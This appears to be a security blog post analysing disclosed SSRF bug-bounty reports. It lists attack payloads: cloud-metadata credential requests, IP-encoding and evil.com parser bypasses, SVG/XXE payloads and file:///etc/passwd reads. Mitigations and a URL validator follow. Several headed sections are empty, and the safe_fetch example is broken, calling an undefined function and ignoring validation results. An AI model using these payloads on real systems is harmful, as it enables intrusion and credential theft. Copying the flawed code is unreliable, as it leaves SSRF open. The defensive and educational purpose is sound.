SSRF in the Wild: A Comprehensive Analysis of 200+ Real-World Vulnerabilities

🔍 Executive Summary

Server-Side Request Forgery (SSRF) has emerged as one of the most dangerous vulnerability classes in modern cloud-native applications, earning dedicated recognition as OWASP Top 10 A10:2021. Through analysis of 217 disclosed SSRF reports from HackerOne spanning 2014–2025, this study exposes how attackers exploit applications to reach internal services, cloud metadata endpoints, and sensitive infrastructure.

Our analysis reveals that SSRF vulnerabilities have resulted in $92,757+ in disclosed bounties, with individual reports reaching $10,000. However, the true impact extends far beyond bug bounties: SSRF has enabled attackers to steal AWS credentials, gain root access to cloud instances, exfiltrate internal data, and pivot through entire internal networks. The Shopify Exchange SSRF alone was awarded $25,000 after the researcher demonstrated root access across all instances in an infrastructure subset.

🎯 What is SSRF?

Server-Side Request Forgery occurs when an attacker can induce the server-side application to make HTTP requests to an arbitrary domain or internal resource of the attacker's choosing. Unlike client-side attacks, SSRF leverages the server's network position and trust relationships.

# Legitimate request — fetches external URL for preview
POST /api/fetch-url HTTP/1.1
{"url": "https://example.com/article"}

# Attacker exploits to reach cloud metadata
POST /api/fetch-url HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# Attacker pivots to internal services
POST /api/fetch-url HTTP/1.1
{"url": "http://internal-api.corp:8080/admin/users"}

📊 Analysis Methodology

This study examines 217 disclosed SSRF reports from HackerOne's Hacktivity, focusing on:

🔥 Key Findings

1. Severity Distribution — SSRF Skews High

2. Temporal Trends — Peak in 2020, Steady Presence

3. Top Targeted Programs

🔬 Attack Pattern Deep Dive

Pattern 1: Blind SSRF — The Most Common Variant

# Step 1: Inject attacker-controlled URL
POST /api/webhook HTTP/1.1
{"callback_url": "https://attacker-burp-collaborator.net"}

# Step 2: Observe DNS/HTTP interaction in Burp Collaborator
# Confirms server made request from internal network

# Step 3: Pivot to port scanning
POST /api/webhook HTTP/1.1
{"callback_url": "http://127.0.0.1:6379"}  # Redis
# Response time difference reveals open ports

Pattern 2: Full-Read SSRF — Maximum Impact

# Attacker requests AWS metadata
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# Server returns AWS temporary credentials
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "FwoGZX...",
  "Expiration": "2024-03-15T12:00:00Z"
}

Pattern 3: Cloud Metadata Exploitation

# AWS Instance Metadata Service (IMDSv1 — no authentication required)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

# GCP Metadata (requires header)
http://metadata.google.internal/computeMetadata/v1/

# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Pattern 4: DNS Rebinding Attacks

Pattern 5: SSRF Filter Bypass Techniques

# Bypass Technique 1: IPv6 mapped to IPv4
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:169.254.169.254]/

# Bypass Technique 2: Decimal/Octal/Hex IP encoding
http://2130706433/         # Decimal for 127.0.0.1
http://0x7f000001/         # Hex for 127.0.0.1
http://017700000001/       # Octal for 127.0.0.1
http://0177.0.0.1/         # Mixed octal

# Bypass Technique 3: URL parsing inconsistencies
http://evil.com@127.0.0.1/  # Credential host confusion
http://127.0.0.1#@evil.com  # Fragment injection
http://127.0.0.1%00@evil.com  # Null byte

# Bypass Technique 4: Redirect chains
http://evil.com/redirect?to=http://169.254.169.254/

# Bypass Technique 5: Trailing dot in domain
http://internal-service.  # Trailing dot bypasses deny lists

# Bypass Technique 6: Protocol-relative URL
//127.0.0.1/admin

Pattern 6: SSRF via File Upload & Import Features

<!-- SVG-based SSRF -->
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://169.254.169.254/latest/meta-data/" />
</svg>

<!-- XXE-based SSRF via XML upload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

<!-- PDF generator SSRF via HTML injection -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

Pattern 7: SSRF via Webhooks & Integrations

# Webhook configuration pointing to internal service
POST /api/integrations/webhook
{
  "name": "My Integration",
  "url": "http://169.254.169.254/latest/meta-data/",
  "events": ["order.created"]
}

# When event fires, server sends request to attacker-controlled destination
# or to internal infrastructure

💰 Financial Impact Analysis

Highest Bounty Reports:

🏭 Industry Impact Analysis

🔬 Technical Deep Dive: The SSRF Kill Chain

🔥 Case Study Spotlight: Shopify Exchange → Root Access

🔥 Case Study Spotlight: HackerOne's Own SSRF → $25,000

🛡️ Prevention Strategies

# AWS: Enforce IMDSv2 (requires token-based access)
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890 \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Deploy metadata concealment proxy (like Shopify did)
# Block 169.254.169.254 at the network level via iptables/security groups

# Kubernetes: Block metadata via NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
spec:
  podSelector: {}
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32

import ipaddress
import urllib.parse
import socket

ALLOWED_SCHEMES = {'https'}
BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),       # Loopback
    ipaddress.ip_network('10.0.0.0/8'),         # Private
    ipaddress.ip_network('172.16.0.0/12'),      # Private
    ipaddress.ip_network('192.168.0.0/16'),     # Private
    ipaddress.ip_network('169.254.0.0/16'),     # Link-local (metadata!)
    ipaddress.ip_network('0.0.0.0/8'),          # Special
    ipaddress.ip_network('::1/128'),            # IPv6 loopback
    ipaddress.ip_network('::ffff:0:0/96'),      # IPv4-mapped IPv6
]

def validate_url(url: str) -> bool:
    parsed = urllib.parse.urlparse(url)
    
    # 1. Allowlist protocol
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    
    # 2. Resolve hostname, validate resolved IP (not hostname!)
    try:
        resolved_ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
        ip = ipaddress.ip_address(resolved_ip)
    except (socket.gaierror, ValueError):
        return False
    
    # 3. Block private/internal IPs
    for network in BLOCKED_NETWORKS:
        if ip in network:
            return False
    
    # 4. Re-validate after redirect (critical for DNS rebinding!)
    return True

# DNS pinning strategy
def safe_fetch(url: str) -> bytes:
    parsed = urllib.parse.urlparse(url)
    
    # Step 1: Resolve and validate
    resolved_ip = resolve_and_validate(parsed.hostname)
    
    # Step 2: Connect directly to the resolved IP (bypass DNS)
    # This prevents DNS rebinding between validation and request
    response = requests.get(
        url,
        headers={'Host': parsed.hostname},
        allow_redirects=False,  # Handle redirects manually!
        timeout=5,
        # Force connection to validated IP
        # via custom adapter or socket override
    )
    
    # Step 3: Validate any redirect URLs before following
    if response.is_redirect:
        redirect_url = response.headers['Location']
        validate_url(redirect_url)  # Re-validate!
    
    return response.content

# Smokescreen-style egress proxy (used by Stripe, Shopify)
# All outbound HTTP from the application routes through this proxy
# Proxy enforces:
#   - No connections to internal IP ranges
#   - No connections to cloud metadata endpoints
#   - No connections to denied domains
#   - DNS resolution happens in the proxy (prevents rebinding)

proxy_config:
  deny_ranges:
    - "127.0.0.0/8"
    - "10.0.0.0/8"
    - "169.254.0.0/16"
    - "172.16.0.0/12"
    - "192.168.0.0/16"
  deny_domains:
    - "*.internal"
    - "metadata.google.internal"

🧪 Testing Methodology for Bug Hunters

url, uri, src, href, link, callback, redirect, proxy, endpoint
dest, target, path, host, domain, site, page, feed, webhook
image_url, icon_url, avatar_url, logo_url, preview_url
import_url, fetch_url, load_url, download_url, file_url
next, return, continue, forward, redir, out, view, show

# Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/          # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance            # Azure

# Internal services
http://127.0.0.1:6379/       # Redis
http://127.0.0.1:9200/       # Elasticsearch
http://127.0.0.1:2375/       # Docker API
http://127.0.0.1:5985/       # WinRM
http://127.0.0.1:8500/       # Consul

# Read local files
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/tcp

# IP encoding tricks
http://0x7f000001/            # Hex
http://2130706433/            # Decimal
http://017700000001/          # Octal
http://[::ffff:127.0.0.1]/   # IPv6 mapped
http://127.1/                 # Shortened
http://0/                     # Zero

� Researcher & Geographic Patterns

�🔮 Future Trends and Emerging Threats

🏢 Recommendations for Organizations

🎯 Conclusion